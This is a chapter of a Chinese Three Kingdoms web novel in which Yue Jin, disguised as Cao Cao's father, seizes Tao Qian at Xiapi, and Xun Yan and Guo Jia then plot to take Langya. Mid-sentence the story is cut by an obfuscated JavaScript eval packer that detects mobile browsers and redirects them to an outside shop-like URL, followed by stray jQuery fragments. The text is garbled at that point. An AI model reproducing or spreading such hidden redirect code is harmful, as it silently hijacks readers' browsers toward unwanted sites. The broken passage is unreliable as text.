曹操的大军行进神速。三万精锐日夜兼程，仅仅用了一日，便兵临下邳城下。


    战马嘶鸣，旌旗蔽日。黑压压的军队在城外列开阵势，杀气冲天。


    陶谦站在城头上，看着下方军容整肃的曹军，脸色铁青。


    “曹孟德来得好快！”陶谦双手紧紧抓着女墙，指节用力。


    金尚站在他身旁，强作镇定：“陶使君莫慌。只要曹嵩在我们手里，曹孟德就不敢轻举妄动。”


    曹操策马出阵，停在弓箭射程之外。


    “陶恭祖！”曹操扬起马鞭，直指城头，“你纵容贼人掳走我父，今日若不交出人来，我定要踏平你这下邳城！”


    陶谦气结。他根本不知道金尚把人藏哪了，现在纯属背黑锅。


    “曹孟德！休要血口喷人！你父亲失踪，与我徐州何干！”陶谦大声反驳。


    金尚上前一步，高声喊道：“曹孟德，你父亲确在我手中。你若想他活命，便让出兖州！”


    此言一出，城下曹军阵营中传出阵阵怒骂。


    曹操仰头看向城墙。他面上没有怒意，反倒透着几分嘲弄：“金元休，一个州，你说要就要。我就算把兖州让出来，你敢接吗？”


    金尚脸色涨红。他没想到曹操在生父被绑的情况下，还敢如此猖狂。


    “曹孟德！你少在这里虚张声势！”金尚咬着牙，大声反驳，“难道你要学汉高祖刘邦？当年项羽要把他父亲烹了，他还能面不改色地分一杯羹。你今日也要做这等不孝之人吗！”


    曹操坐在马背上，不动如山。


    “我曹孟德没有汉高祖的气度。”曹操声音洪亮，“但你金元休，也敢自比西楚霸王？”


    金尚脸色铁青，指着城下的曹操，半天憋不出一句话。一旁的陶谦听着两人的对骂，心里竟觉得颇为解气。


    金尚压下火气，冷声道：“曹孟德，你若想见你父亲，就自己卸甲进城。否则，就等着收尸吧！”


    “我连父亲的面都没见着，怎么可能相信你？”曹操语气强硬，“把人带出来！我要亲眼看到他安然无恙。”


    金尚冷哼一声，转头向后挥手：“把人带上来！”


    不多时，两个士兵押着一个头发花白、身穿锦袍的老者走上城头。


    曹操眯起眼睛，盯着城头那个身影。


    虽然隔着距离，但他一眼就认出，那是乐进。


    父亲已经脱险。曹操绷紧的后背终于松弛下来。


    他将视线从“曹嵩”身上移开，看向金尚：“距离太远，看不真切。你让人往前走几步，让我看清楚些。”


    金尚不疑有他，挥手示意士兵将人押到女墙边。


    乐进顺势踉跄几步，身体一歪，正好停在陶谦身侧不足两尺的地方。


    金尚指着乐进，冲城下大喊：“曹孟德，你睁大眼睛看清楚，这是不是你父亲！”


    全场的目光都集中在曹操身上。


    曹操看着城头，吐出两个字。


    “不是。”


    这两个字刚一出口，城头上的局势骤变。


    乐进双手翻转，挣脱两名士兵的钳制。他右手反向探出，一把抽出左侧士兵腰间的佩刀。


    金属摩擦声响起。刀光闪烁。


    金尚大惊失色，连连后退，大喊：“来人！”


    乐进根本没看金尚一眼。他脚下发力，一步跨出，直接贴近陶谦。左手扣住陶谦的肩膀，右手将钢刀横在陶谦的脖颈上。


    变故发生得太快。城头上的徐州兵全愣在原地，没人敢上前。


    金尚张大嘴巴，指着乐进，手指不断发抖。乐进瞥了金尚一眼，语气里满是嘲讽：“金大人，你躲什么？你连被劫持的价值都没有。”


    金尚气得浑身发抖。


    陶谦长叹一声，语气里满是悲愤：“我陶恭祖招谁惹谁了？你们争夺兖州，跑到我徐州来闹事。如今倒好，倒霉的全是我！”


    战鼓声再次擂响，声震云霄。


    曹军阵列中，盾牌手向前推进，弓箭手弯弓搭箭，瞄准城头。


    城头上，乐进押着陶谦，步步后退：“让开！谁敢动一下，我先剁了你们主公的脑袋！”


    丹阳兵步步后退，让出一条通道。


    战车内，荀衍撩起车帘，看着城头的变故。“这便是匹夫无罪，怀璧其罪。”荀衍放下帘子，转头看向对面的郭嘉，“徐州地处中原腹地，土地肥沃，人口众多，陶恭祖虽然仁义，却没有足够的能力保护这份家业。这便是原罪。弱肉强食，丛林法则。乱世之中，没有实力，便只能任人宰割。”


    郭嘉看着荀衍，眼神里透着探究。


    “昭若，你有时悲天悯人，不忍百姓受战乱之苦；有时又太过清醒，将这世间的残酷剖析得这般透彻。”


    郭嘉的手指在矮几上轻轻敲击：“这般多变，真叫人想要一探究竟。”


    荀衍迎上郭嘉的视线，伸出手，将郭嘉敲击桌面的手按住。


    两手相触，温热的体温传递过来。


    “奉孝兄长想怎么探？”荀衍问，“不是说要管我一辈子？一辈子几十年，奉孝兄长可以慢慢探。”


    城头上，刀刃压在陶谦脖颈，压出一道血痕。


    徐州将士投鼠忌器，齐齐后退。


    陶谦满头冷汗，却咬紧牙关，冲着主将曹豹大喝，“不许开城门！老夫今日就算死在这里，也绝不让曹军踏入下邳半步！”


    曹豹握着刀，进退维谷，“主公，这……”


    陶谦自知越是怕死，死得越快。唯有视死如归，曹孟德为了堵住天下悠悠之口，反倒不敢真拿他如何。


    他提着一口气，目光越过乐进，看向后方的文臣队列，“老夫若有不测，我那两个儿子不堪大用。徐州牧一职，暂由别驾糜竺代领。尔等需尽心辅佐，保我徐州基业！”


    此言一出，周围哗然。


    曹豹第一个跳脚，“主公！糜子仲一介商贾，浑身铜臭，怎能担得起徐州牧的重任？末将不服！”


    陶谦身子一晃，险些被曹豹这番蠢话当场气死。大敌当前，武将不思退敌，竟还在计较文臣的出身。


    乐进听得不耐烦。他手腕翻转，刀背在陶谦后颈用力一磕。陶谦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443851|197113||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眼前发黑，软倒下去。乐进单臂将人夹在腋下，冲着城下曹军大喝，“开城门！否则我立刻剁了他！”


    曹豹见主公昏迷，失了主心骨，只能下令放下吊桥，打开城门。


    乐进大步流星，挟持着陶谦穿过城门，直奔曹军大营。


    城下马车内。


    郭嘉靠着软垫，手指把玩着荀衍垂落的一缕发丝，“陶恭祖倒是个硬骨头。”


    荀衍任由他动作，视线透过车窗缝隙，看着被乐进像夹麻袋一样带回来的陶谦。


    与后世大明王朝那位在土木堡被俘，随后在瓦剌军中叩门叫关的英宗皇帝相比。同样是统帅被俘，陶谦宁愿安排后事也不愿开城投降，这份骨气，确实值得高看一眼。


    但是，徐州离了他陶谦，徐州内部的矛盾就彻底暴露了。曹豹有勇无谋，糜竺有财无兵，内乱之势已显。


    不出半日，徐州别驾糜竺孤身入营，请求和谈。


    曹操表面态度强硬，扬言要一举拿下徐州，实则心中清楚，三万兵马想吞下人口百万的徐州，无异于蛇吞象。


    议事帐内，地图铺在宽大的木案上。


    荀衍修长的手指落在徐州北部的琅琊郡，“主公，下邳城深沟高垒，陶谦又下达了死守的命令。丹阳兵战力不俗，若是强攻，我军必然伤亡惨重。百鸟在林，不如一鸟在手。既然下邳这块骨头难啃，我们便换个方向。”


    曹操目光顺着荀衍的手指移动，“昭若的意思是，打琅琊？”


    荀衍点头，“妙才将军正率军在琅琊边界与守将孙观僵持。我军主力留下一部分在下邳城外虚张声势，主公也假意和谈，牵制糜竺和曹豹。元让将军可率两万精锐，悄然北上，与夏侯渊将军前后夹击，拿下琅琊。”


    郭嘉闻言轻笑：“主公，老太爷既然喜欢在琅琊隐居，主公索性把这琅琊郡打下来送给他老人家养老。省得他还要千里迢迢往濮阳赶。”


    曹操大笑出声，连拍案几：“奉孝这话，深得吾心！”


    军令即刻下达。夏侯惇点兵两万，人衔枚，马裹蹄，连夜北上。


    琅琊城外。


    夏侯惇的两万精锐如神兵天降，与夏侯渊的兵马对琅琊形成南北夹击之势。


    城墙上，琅琊守将孙观握着刀柄，看着城下绵延的曹军营帐，脸色铁青。他本以为绕过琅琊的曹军主力会被下邳守军死死拖住，谁料竟被反抄了后路。


    夏侯惇策马上前，大刀直指城头：“孙观！下邳城已破，陶谦已被生擒！你这琅琊已是孤城一座，还不速速开城投降！”


    孙观冷笑一声，趴在女墙上高声回敬：“夏侯惇，少拿大话诓人！下邳城深沟高垒，陶使君麾下丹阳精兵数万，怎么可能一夕之间被攻破？你想乱我军心，做梦！”


    荀衍一身素净长袍，立于车头，风吹起他的发带，平添了几分出尘之气。


    “孙将军。”荀衍语气从容，“你觉得，若非下邳已定，我军这两万人马为何敢孤军深入，直扑琅琊？难道主公就不怕被下邳守军从后方包抄，打个措手不及吗？”


    孙观心头横生波澜。